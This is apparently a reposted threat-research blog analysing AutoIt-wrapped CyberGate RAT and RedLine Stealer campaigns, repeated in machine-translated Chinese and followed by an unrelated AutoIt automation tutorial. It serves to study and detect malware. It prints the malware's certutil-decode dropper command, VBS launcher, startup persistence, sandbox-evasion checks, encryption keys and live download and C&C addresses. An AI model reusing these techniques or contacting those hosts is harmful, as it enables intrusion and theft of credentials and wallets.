• autoit的无文件攻击——any run实际看


    CyberGate RAT and RedLine Stealer Delivered in Ongoing AutoIt Malware Campaigns

    CyberGate RAT and RedLine Stealer Delivered in Ongoing AutoIt Malware Campaigns

    In our most recent blog, we had detailed a malware campaign that uses a malicious document (DOC) file to deliver an AutoIt script which, in turn, delivers the Taurus stealer to steal credentials, cookies, history, system info, and more. Along similar lines, we recently came across a new malware campaign that uses a similar AutoIt script to deliver a new variant of the CyberGate RAT and RedLine stealer.

    This blog will walk you through a detailed analysis of the payload delivery mechanism, capabilities, and Command and Control (C&C) communication. We also observed the usage of custom C&C protocols to exfiltrate sensitive information. We will shed light on the custom protocol used by the Cybergate RAT.

    Below is the detection timeline for AutoIt malware campaigns in the past month. We observed several hits for the AutoIt malware involving various malware families, including AZOrult, Xtreme RAT, Taurus stealer, RedLine Stealer, and CyberGate RAT. The Zscaler ThreatLabZ team is closely monitoring the developments on these campaigns to ensure coverage.

    Hits of Autoit based malware in last month

    Figure 1: Hits of AutoIt-based malware in the past month.

    Zscaler Cloud Sandbox captured the CyberGate RAT and RedLine stealer successfully. We observed that both of them are packed with the same packer and use the same payload delivery mechanism. The tactics, techniques, and procedures (TTPs) observed in these two campaigns are similar in nature, so we suspect that the same actors are behind these attacks.

    Payload delivery mechanism

    As observed in a previous blog, the source of the stealer was spam mail containing a link to download the malware or an attached DOC file that downloads the malware. While tracking this campaign, we found that this malware is served by phishing sites. At the time of our analysis, we found a live phishing site of a cryptocurrency blockchain exchange called Resistance, which is serving the RedLine stealer.

    Crypto blockchain exchange phishing site

    Figure 2: A crypto blockchain exchange phishing site.

    Wrapper analysis

    The files downloaded from these phishing sites are self-extracting archives (SFX), which contain a cabinet file and a script to execute embedded files. The cabinet file can be found under the RCData resource directory with the name ‘CABINET’ and command for execution in the resource directory of the name ‘RUNPROGRAM’.

    Resource directory of wrapper file

    Figure 3: The resource directory of the wrapper file.

    The cabinet file contains three files with a ‘com’ extension and the file names are random and different in other AutoIt scripts. Those files are:

    ffXi.com - This is a legit Autoit3.exe having an invalid header used to run AutoIt scripts
    adCt.com - A Windows Base64 encoded AutoIt script by certutil
    bzYfp.com - The encrypted payload

    The command-line script present in the ‘RUNPROGRAM’ resource directory to execute embedded files is shown below:

    cmd /c <nul set /p ="M" > lsass.com & type ffXi.com >> lsass.com & del ffXi.com & certutil -decode adCt.com R & lsass.com R & ping 127.0.0.1 -n 20

    First, it corrects the header of ‘ffXi.com’ (Autoit3.exe) by appending “M”, stores it in ‘lsass.com’, then it deletes ‘ffXi.com’. After that, it decodes the Base64 encoded AutoIt script using ‘certutil’ with the parameter “-decode”, saves it to a file “R”, and then runs this AutoIt script with Autoit3.exe (lsass.com). In the end, it uses the ping command as a sleep timer. 

    The AutoIt script uses custom obfuscation and all the hardcoded strings are encrypted in the malware, as we have seen previously in this campaign. Upon execution, the AutoIt script drops and hides the following four files in the directory “%APPDATA%\\cghost” for achieving persistency on the system. We found this persistency technique in the AutoIt script only if the final payload is RAT.

    cghost.com - Copy of AutoIt interpreter
    aGuDP - Copy of Autoit script
    bzYfp.com - Copy of encrypted payload
    dLzSj.vbs - VBS script to execute AutoIt interpreter with the script

    The VBS file contains:

    CGXdBksrYqQnDIwn = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("%appdata%\cghost\cghost.com %appdata%\cghost\aGuDP" , "%appdata%\cghost", Null, OJxMEkRRELvrj )

    For persistence, it creates an internet shortcut file ‘cghost.url’ in the startup directory with the following contents:

    [InternetShortcut]
    URL="%APPDATA%\cghost\dLzSj.vbs"

    The AutoIt script has multiple sandbox evasion tricks to avoid detection. It also checks to see if a file and computer name exists in the system and checks for a particular domain.

    Multiple checks before execution

    Figure 4: The malware performs multiple checks before execution.

    This malware wrapper avoids its execution in the Windows defender antivirus simulator by checking for the presence of the “C:\aaa_TouchMeNot.txt” file in the system. The malware terminates execution if it finds the following computer names, which are used by AV emulators:  

    “NfZtFbPfH” - Kaspersky
    “tz” - Bitdefender
    “ELICZ” - AVG
    “MAIN" - VBA
    “DESKTOP-QO5QU33” - Assuming this is the attacker’s machine name

    It checks for the sleep API patch with 'GetTickCount' to detect the sandbox emulation. It also checks for the domain ‘OJtmGmql.OJtmGmql’, it will exit if the domain is alive. These are random strings and found to be different in every other wrapper. If it passes all the above checks then it injects the shellcode for the 'RC4' algorithm based on the system architecture into the specified running process or the current process memory.

    RC4 algorithm Shellcode

    Figure 5: The RC4 algorithm shellcode.

    The RC4 key is XOR-encrypted in the AutoIt script which can be found in a function calling along with the encrypted data and process path for injection.

    Encrypted RC4 key

    Figure 6: The encrypted RC4 key.

    This RC4 key is found to be different in every case. The AutoIt script reads the encrypted payload (bzYfp.com) and decrypts it using the RC4 shellcode with the hardcoded key “537180” (in this case).

    RC4 algorithm in the first shell code

    Figure 7: The RC4 algorithm in the first shellcode.

    After that, it injects another shellcode in the memory, which creates a mutex first with the name of ‘JFTZRATSJPATTZLFCUTTH’, then it takes the decrypted PE file, injects it into the process, and executes it.

    The final payload is decrypted and executed in the memory only so it will not get captured by the antivirus if it has static detection.

    We have written a python script to decrypt the encrypted payload, which can be found in Appendix I.

    The payloads dropped by this wrapper are CyberGate RAT or RedLine stealer.

    CyberGate RAT

    The CyberGate RAT from this campaign looks like a new variant that we have not seen in the past. CyberGate allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as download and execute additional malware. It also has a wide range of information stealing abilities, such as keyloggers, screen capture, and remote enabling of webcams.

    The capabilities of the CyberGate RAT that we found in this variant include:

    • Collecting the system info
    • Creating a specified directory
    • Downloading and executes additional files
    • Getting the content of a specified file
    • Stealing the browser’s credentials
    • Capturing the screen
    • Running a keylogger


    The C&C address and port information are encrypted and hardcoded in the binary. Encryption is simple XOR with the hardcoded key “2qYNYM2Z74XL”.


    XOR decryption of encrypted IP address

    Figure 8: The XOR decryption of the encrypted IP address.

    The unique bot ID is created by adding the username, computer name, and the serial number of the victim machine and calculating the MD5 hash.

    Bot ID = MD5(UserName+ComputerName+SerialNumber)

    Bot ID creation

    Figure 9: Bot ID creation.

    Network traffic analysis

    This variant of CyberGate RAT has a hardcoded and encrypted C&C IP address and it uses a 3970 port to communicate on the TCP protocol. The complete traffic is compressed with zlib compression and encrypted with RC4 with the hardcoded key present in the binary.

    Cybergate Network traffic

    Figure 10: CyberGate network traffic.

    Packet Structure

    Figure 11: Packet structure.

    Client and server packets are encrypted or decrypted by RC4 with the same hardcoded key “draZwyK8wNHF”, which is present in the binary. After the decryption of server packets, the data starts with the marker of 14 bytes “@@XXXXXXXXXX@@” and followed by the zlib compressed data. We have seen this marker in the previous version of Cybergate RAT.
    Decrypted Packet Data

    Figure 12: The decrypted packet data.

    After decompression, the data starts with the command followed by the parameters and separated by the marker “##$##”.

    Structure: <Command>##$##<Parameters>##$##

    Decrypted communication between client and C2 server

    Figure 13: The decrypted communication between the client and the C&C server.

    In the first request, the command will send the calculated unique bot ID to the server.
    The second command will search for the stored credentials in the Chrome and Firefox browser profiles. If it matches the parameters, then it sends the credentials to the server along with the machine info, including socket name, user name, computer name, product name, and bot ID.
    Sending credentials and machine info to the server

    Figure 14: The credentials and machine info that is sent to the server.

    The command “Ky8pr22KrbW3” or “neAWM9TC4tsk” creates the specified directory in the %appdata%. It then downloads and stores the specified file inside and executes it.
    Downloads and executes additional malware

    Figure 15: The command to download and execute additional malware.

    We have found the following commands in this variant of the CyberGate RAT.

    CommandsDescriptions     
    4hybWKLmEShM Send the unique bot ID to the server
    ECDnG66CYsZc Steal the browser’s credentials and machine info
    dYh3GKy2DK Store data to the registry
    Ky8pr22KrbW3 Download and execute additional malware
    neAWM9TC4tsk Download and execute additional malware and exit itself
    EffNaMNRW43T Capture the screen
    5Qvape9Wv6eA Start the keylogger

    We have written a python script to decrypt the CyberGate RAT and C&C traffic. It can be found in Appendix II.

    RedLine stealer

    The final payload is the .NET binary file of RedLine stealer. This stealer is available for sale on Russian forums and was seen before in a COVID-themed email campaign. Proofpoint published a blog about that campaign.

    The capabilities of this stealer include:

    • Collecting information about the victim’s system
    • Collecting credentials, cookies, credit cards from Chromium- and Gecko-based browsers
    • Collecting data from FTP clients (FileZilla, WinSCP)
    • Collecting data from IM clients (Pidgin)
    • Collecting cryptocurrency wallets
    • Downloading and executing the specified file

    RedLine stealer classes and C&C domain

    Figure 16: The RedLine stealer classes and C&C domain.

    The RedLine stealer uses SOAP over HTTP protocol for its C&C communication.
    After getting connected with the C&C server, RedLine fetches the client configuration settings from the server.
    Fetching client configuration settings

    Figure 17: Fetching the client configuration settings.

    This client configuration settings include GrabBrowsers, GrabFTP, GrabFiles, GrabImClients, GrabPaths, GrabUserAgent, and GrabWallets.
    RedLine client configuration settings

    Figure 18: The RedLine client configuration settings.

    After collecting the data as per the configuration, it sends all the data back to the server.
    Sending stolen data to server

    Figure 19: Sending the stolen data to server.

    After that, it sends the request to the server to get the task to download a file, execute a file, access a link, or inject a file to a process along with the victim’s machine info, such as IP, location, OS, and more.
    Sending request to server for getting a task

    Figure 20: Sending the request to the server to get a task.

    Coverage

    The observed indicators in this attack were successfully blocked by the Zscaler Cloud Sandbox.
    The Zscaler Cloud Sandbox report for Cybergate RAT

    Figure 21: The Zscaler Cloud Sandbox report for the CyberGate RAT.

    The Zscaler Cloud Sandbox report for RedLine Stealer

    Figure 22: The Zscaler Cloud Sandbox report for the RedLine stealer.

    In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels.

    The following is the advanced threat protection signatures released for detecting the malware:
    Win32.Backdoor.CyberGate
    Win32.Backdoor.RedLine
    Win32.PWS.AutoIT

    And the following are the Cloud IPS (non-web) signatures that enable detection of the CyberGate RAT:
    Win32.Backdoor.CyberGate

    Conclusion

    We are observing an increase in the usage of AutoIt script as a wrapper to deliver malware by threat actors. This trend appears to be getting stronger with a lot of obfuscation, anti-analysis and anti-sandbox tricks, and fileless techniques being adopted by the AutoIt-based malware. The final payloads we have seen in these campaigns are RATs and Infostealers, which are capable of stealing sensitive information and installing additional malware. Also, the usage of a custom protocol for the exfiltration of sensitive information poses a great challenge for network security solutions to block the data exfiltration attempt.

    The Zscaler ThreatLabZ team will continue to monitor AutoIT-based malware campaigns to share the information with the community and to keep our customers safe.

    MITRE ATT&CK™ tactic and technique mapping

    Tactic                Technique
    T1059                Execution through Command-Line interface
    T1060                Persistence in startup directory
    T1055                Process injection
    T1140                Obfuscated files
    T1503                Steal credentials from web browsers
    T1056                Keylogging
    T1539                Steal web session cookies
    T1083                File and Directory Discovery
    T1057                Process Discovery
    T1012                Query Registry
    T1082                System Information Discovery
    T1497                Sandbox Evasion
    T1005                Collect Data from Local System
    T1113                Captures Screen
    T1094                Custom C&C Protocol
    T1132                Base64 Data Encoding
    T1065                Uncommonly Used Port
    T1002                Data Compressed
    T1020                Data Exfiltration
    T1022                Data Encrypted

    IOCs

    Cybergate RAT
    37.252.5[.]213/55.exe (Download URL)
    37.252.5[.]213[:]3970 (Cybergate C&C)
    433dd4dce13e86688a3af13686c84d1c Packed file
    608D98351812A3C2C73B94A6F5BEF048 Encoded autoit file
    340F2664D7956A753D8EA2FA5C0044FF Encrypted payload
    53A116D2B8AB11B92B293B4AD18CC523 Decoded autoit script
    391317CC132C65561811316324171F8C Shellcode 1
    63CFBCE717C7761B6802E3C1B1F8ACCF Shellcode 2
    88A81C67556D4470F23F703D64606E16 Cybergate RAT

    RedLine Stealer
    resisproject[.]me (Phishing site)
    bbuseruploads[.]s3[.]amazonaws[.]com/583b9547-e88c-4247-a01e-655ff985a7ae/downloads/5a2556c5-ec0f-4699-b67c-40b9f2a43fc7/Resistance_Wallet-windows-2.2.9.zip (Download URL)
    resisproject[.]cc (Phishing site)
    bitbucket[.]org/kapow37047/win64/downloads/ResistanceWallet_2.2.8.exe (Download URL)
    yellowbag[.]top (RedLine C&C)
    70EFF6AE73C0E276D385929D9E253D02 Packed file
    C96BF5CECA92A5362F342A7EE19FDC88 Encoded autoit file
    F1AA91851E0F66AAC3F65E4C237E8B51 Encrypted payload
    106FCC5A6B51E4B2213694C7B5FF3C08 Decoded autoit script
    729BB625379513FC677606888941248B RedLine Stealer
    4B0F5B53264C56125BD5C889E063BBCA Packed file
    67E67250B0DB02F824804EC17A757B1E Encoded autoit file
    67BB52ECFE627A96076AFAFD2DDE32C7 Encrypted payload
    293918878C0CE8CFFBD344B16EAC656E Decoded autoit script
    9E286AB918E5FACF45B2AE0195CEF54B RedLine Stealer

    Appendix I

    Python Script to decrypt encrypted Cybergate payload and RedLine payload:

    import sys
    from Crypto.Cipher import ARC4

    #RC4 keys
    keys = ['537180', '7010', ‘2379’]

    enc_file = sys.argv[1]
    dec_file = sys.argv[2]

    for key in keys:
        cipher = ARC4.new(key)
        data = open(enc_file, 'rb').read()
        out = cipher.decrypt(data)

        if out[:2] == "MZ":
            with open(dec_file, 'wb') as wf:
                wf.write(out)
            print("[+] Decrypted PE file - " + dec_file)
            break

    Appendix II

    Python Script to decrypt & decompress Cybergate traffic:

    import zlib
    from Crypto.Cipher import ARC4

    def dec_packet(packet):

        result = ""
        marker = "##$##"
        #packet = str(bytearray.fromhex(packet))
        
        if len(packet) == 2:
            return result

        try:
            if packet.startswith("\x0d\x0a"):
                packet = packet[2:]
            packet = packet.split(marker)[1]
            if packet.startswith("\x0d\x0a"):
                packet = packet[2:]
        except:
            pass

        try:
            key = b'draZwyK8wNHF'
            cipher = ARC4.new(key)

            rc4_out = cipher.decrypt(packet)
            if rc4_out.startswith("@@XXXXXXXXXX@@"):
                rc4_out = rc4_out[14:]
                result = zlib.decompress(rc4_out)
                return result
        except:
            return result

    使用恶意文档(DOC)文件传递AutoIt脚本,该脚本又传递Taurus窃取程序来窃取凭据,Cookie,历史记录,系统信息等。同样,我们最近遇到了一个新的恶意软件活动,该活动使用相似的AutoIt脚本提供了CyberGate RAT和RedLine窃贼的新变体。

    该博客将引导您详细分析有效负载传递机制,功能以及命令与控制(C&C)通信。我们还观察到使用自定义C&C协议来泄露敏感信息。我们将阐明Cybergate RAT使用的自定义协议。

    以下是过去一个月AutoIt恶意软件活动的检测时间表。我们观察到了涉及多个恶意软件家族的AutoIt恶意软件的一些热门事件,包括AZOrult,Xtreme RAT,Taurus窃取程序,RedLine Stealer和CyberGate RAT。Zscaler ThreatLabZ团队正在密切监视这些活动的进展,以确保覆盖范围。

    Zscaler Cloud Sandbox成功捕获了CyberGate RAT和RedLine窃取程序。我们观察到,它们两个都使用相同的打包器打包,并使用相同的有效负载传送机制。在这两个战役中观察到的战术,技术和程序(TTP)本质上是相似的,因此我们怀疑这些攻击背后有相同的参与者。

    有效载荷传递机制

    如先前的博客所述,窃取者的来源是垃圾邮件,其中包含下载恶意软件的链接或下载恶意软件的附加DOC文件。在跟踪此活动时,我们发现该恶意软件由网络钓鱼站点提供服务。在我们进行分析时,我们发现了一个名为Resistance的加密货币区块链交易所的实时网络钓鱼站点,该站点正在为RedLine窃取者服务。

    从这些网络钓鱼站点下载的文件是自解压存档(SFX),其中包含文件柜文件和执行嵌入式文件的脚本。可以在名为“ CABINET”的RCData资源目录下找到该文件,并在名为“ RUNPROGRAM”的资源目录中执行该命令。

    9189535b63f3eb34be744e262b0941ff.png

    ffXi.com-这是一个合法的Autoit3.exe,具有无效的标头,用于运行AutoIt脚本adCt.com-certutilbzYfp.com的Windows Base64编码的AutoIt脚本-加密的有效负载

    下面显示了“ RUNPROGRAM”资源目录中存在的用于执行嵌入式文件的命令行脚本:

    cmd / c lsass.com&键入ffXi.com >> lsass.com&del ffXi.com&certutil -decode adCt.com R&lsass.com R&ping 127.0.0.1- 20

    首先,它通过附加“ M”来纠正“ ffXi.com”(Autoit3.exe)的标题,将其存储在“ lsass.com”中,然后删除“ ffXi.com”。之后,它将使用带有参数“ -decode”的“ certutil”对Base64编码的AutoIt脚本进行解码,将其保存到文件“ R”,然后使用Autoit3.exe(lsass.com)运行此AutoIt脚本。最后,它使用ping命令作为睡眠计时器。 

    AutoIt脚本使用自定义混淆,所有硬编码的字符串在恶意软件中均已加密,正如我们在本次活动中先前所见。执行后,AutoIt脚本将删除以下四个文件并将其隐藏在目录“%APPDATA%\\ cghost”中,以实现系统的持久性。仅当最终有效载荷为RAT时,我们才在AutoIt脚本中发现了这种持久性技术。

    cghost.com-AutoIt解释器的副本aGuDP-Autoit脚本的副本bzYfp.com-加密的有效负载dLzSj.vbs的副本-VBS脚本,用于使用该脚本执行AutoIt解释器

    VBS文件包含:

    CGXdBksrYqQnDIwn = GetObject(“ winmgmts:\\。\ root \ cimv2:Win32_Process”)。Create(“%appdata%\ cghost \ cghost.com%appdata%\ cghost \ aGuDP”,“%appdata%\ cghost”,空, OJxMEkRRELvrj)

    为持久起见,它将在启动目录中创建一个Internet快捷文件“ cghost.url”,其内容如下:

    [InternetShortcut]URL =“%APPDATA%\ cghost \ dLzSj.vbs”

    b5de294b5c0be3fb4a959441d1323779.png

    该恶意软件包装程序通过检查系统中是否存在“ C:\ aaa_TouchMeNot.txt”文件来避免其在Windows Defender防病毒模拟器中执行。如果恶意软件找到以下AV模拟器使用的计算机名称,则终止执行:  

    “ NfZtFbPfH”-卡巴斯基“ tz”-Bitdefender“ ELICZ”-AVG“MAIN”-VBA“ DESKTOP-QO5QU33”-假定这是攻击者的计算机名

    它使用“ GetTickCount”检查sleep API补丁以检测沙盒仿真。它还会检查域“ OJtmGmql.OJtmGmql”,如果该域处于活动状态,它将退出。这些是随机字符串,并且在其他所有包装器中都不同。如果通过了上述所有检查,则将基于系统体系结构的“ RC4”算法的Shellcode注入指定的运行进程或当前进程内存中。

    之后,它将另一个shellcode注入到内存中,该shellcode首先创建一个名为“ JFTZRATSJPATTZLFCUTTH”的互斥体,然后获取解密的PE文件,将其注入到进程中并执行它。

    最终的有效负载仅在内存中解密并执行,因此,如果具有静态检测功能,防病毒软件将不会捕获最终的有效负载。

    我们已经编写了一个Python脚本来解密加密的有效负载,可以在附录I中找到该脚本。

    该包装程序丢弃的有效负载是CyberGate RAT或RedLine窃取程序。

    CyberGate RAT

    此广告系列中的CyberGate RAT看起来是我们过去从未见过的新变种。CyberGate允许攻击者浏览和操纵受害者计算机上的文件,设备和设置,以及下载并执行其他恶意软件。它还具有广泛的信息窃取能力,例如键盘记录器,屏幕捕获和远程启用网络摄像头。

    我们在此变体中发现的CyberGate RAT的功能包括:

    • 收集系统信息

    • 创建指定的目录

    • 下载并执行其他文件

    • 获取指定文件的内容

    • 窃取浏览器的凭据

    • 捕获屏幕

    • 运行键盘记录器

    网络流量分析

    CyberGate RAT的此变体具有经过硬编码和加密的C&C IP地址,它使用3970端口在TCP协议上进行通信。完整的流量通过zlib压缩进行压缩,并使用二进制文件中存在的硬编码密钥通过RC4进行加密。

    fab449d40f4fa75e69b15d4e68dbb474.png

    29d6e5cb19a0d63f2b2e7ea7b139ac6a.png

    MITRE ATT&CK™ tactic and technique mapping

    Tactic                Technique
    T1059                Execution through Command-Line interface
    T1060                Persistence in startup directory
    T1055                Process injection
    T1140                Obfuscated files
    T1503                Steal credentials from web browsers
    T1056                Keylogging
    T1539                Steal web session cookies
    T1083                File and Directory Discovery
    T1057                Process Discovery
    T1012                Query Registry
    T1082                System Information Discovery
    T1497                Sandbox Evasion
    T1005                Collect Data from Local System
    T1113                Captures Screen
    T1094                Custom C&C Protocol
    T1132                Base64 Data Encoding
    T1065                Uncommonly Used Port
    T1002                Data Compressed
    T1020                Data Exfiltration
    T1022                Data Encrypted

    IOCs

    Cybergate RAT
    37.252.5[.]213/55.exe (Download URL)
    37.252.5[.]213[:]3970 (Cybergate C&C)
    433dd4dce13e86688a3af13686c84d1c Packed file  ==>  https://app.any.run/tasks/5b52cc5e-f086-4816-8bbb-79b3048acf6a/
    608D98351812A3C2C73B94A6F5BEF048 Encoded autoit file 
    340F2664D7956A753D8EA2FA5C0044FF Encrypted payload
    53A116D2B8AB11B92B293B4AD18CC523 Decoded autoit script
    391317CC132C65561811316324171F8C Shellcode 1
    63CFBCE717C7761B6802E3C1B1F8ACCF Shellcode 2
    88A81C67556D4470F23F703D64606E16 Cybergate RAT

    RedLine Stealer
    resisproject[.]me (Phishing site)
    bbuseruploads[.]s3[.]amazonaws[.]com/583b9547-e88c-4247-a01e-655ff985a7ae/downloads/5a2556c5-ec0f-4699-b67c-40b9f2a43fc7/Resistance_Wallet-windows-2.2.9.zip (Download URL)
    resisproject[.]cc (Phishing site)
    bitbucket[.]org/kapow37047/win64/downloads/ResistanceWallet_2.2.8.exe (Download URL)
    yellowbag[.]top (RedLine C&C)
    70EFF6AE73C0E276D385929D9E253D02 Packed file
    C96BF5CECA92A5362F342A7EE19FDC88 Encoded autoit file
    F1AA91851E0F66AAC3F65E4C237E8B51 Encrypted payload
    106FCC5A6B51E4B2213694C7B5FF3C08 Decoded autoit script
    729BB625379513FC677606888941248B RedLine Stealer
    4B0F5B53264C56125BD5C889E063BBCA Packed file
    67E67250B0DB02F824804EC17A757B1E Encoded autoit file
    67BB52ECFE627A96076AFAFD2DDE32C7 Encrypted payload
    293918878C0CE8CFFBD344B16EAC656E Decoded autoit script
    9E286AB918E5FACF45B2AE0195CEF54B RedLine Stealer

    Appendix I

    Python Script to decrypt encrypted Cybergate payload and RedLine payload:

    import sys
    from Crypto.Cipher import ARC4

    #RC4 keys
    keys = ['537180', '7010', ‘2379’]

    enc_file = sys.argv[1]
    dec_file = sys.argv[2]

    for key in keys:
        cipher = ARC4.new(key)
        data = open(enc_file, 'rb').read()
        out = cipher.decrypt(data)

        if out[:2] == "MZ":
            with open(dec_file, 'wb') as wf:
                wf.write(out)
            print("[+] Decrypted PE file - " + dec_file)
            break

    Appendix II

    Python Script to decrypt & decompress Cybergate traffic:

    import zlib
    from Crypto.Cipher import ARC4

    def dec_packet(packet):

        result = ""
        marker = "##$##"
        #packet = str(bytearray.fromhex(packet))
        if len(packet) == 2:
            return result

        try:
            if packet.startswith("\x0d\x0a"):
                packet = packet[2:]
            packet = packet.split(marker)[1]
            if packet.startswith("\x0d\x0a"):
                packet = packet[2:]
        except:
            pass

        try:
            key = b'draZwyK8wNHF'
            cipher = ARC4.new(key)

            rc4_out = cipher.decrypt(packet)
            if rc4_out.startswith("@@XXXXXXXXXX@@"):
                rc4_out = rc4_out[14:]
                result = zlib.decompress(rc4_out)
                return result
        except:
            return result

     

     

    AutoIt 软件自动化操作

          AutoIt 目前最新是v3版本,这是一个使用类似BASIC脚本语言的免费软件,它设计用于Windows GUI(图形用户界面)中进行自动化操作。

    它利用模拟键盘按键,鼠标移动和窗口/控件的组合来实现自动化任务。而这是其它语言不可能做到或无可靠方法实现的(例如VBScript和SendKeys).

    标注:AutoIt软件可以到IT天空软件或其它网址进行下载,本教程下载是软件是一套AutoIt软件

    直接双击AutoIt编辑器

     

    基本操作之一:模拟键盘操作

    1、  模拟键盘打开的运行窗口

     

    2、  双击运行即可

    3、右键编译成.exe文件,test.exe在32位系统或64位系统上都能运行

    标注:如果想查看更多按键信息请打开以下网址或百度搜索

    https://wenku.baidu.com/view/5f05b2ef4afe04a1b071de48.html

    基本操作之二:控件操作

    标注:安装RTX2013.exe安装进行讲解

    1、双击打开RTX2013.exe软件安装包

    2、执行下一步操作

     

    3、  使用AutoIt软件功能进行捕抓控件属性(按快捷键Ctrl + F6 )

    4、  因为捕抓不到Edit控件,假如能捕抓到Edit可以使用 ControlSetText命令设置控件文本

    5、ControlCommand控件发送命令到控件上去掉”安装完成后开始运行程序”

    6、选择下一步安装

    7、点击完成

     

  • 相关阅读:
    SOUI开发者论坛
    第二十五篇:在SOUI中做事件分发处理
    第二十四篇:导出SOUI对象到LUA脚本
    第二十三篇:在SOUI中使用LUA脚本开发界面
    第四章:为妹子镶上璀璨的珠宝
    第三章:为妹子重塑婀娜身段
    第二章:美丽的幻想灰飞烟灭
    第一章:描绘妹子的靓影
    拥抱ARM妹子 序章!ARM妹子~~ 哥我来啦!
    一个比较方便的关闭进程函数
  • 原文地址:https://www.cnblogs.com/bonelee/p/16017614.html
Copyright © 2020-2023  润新知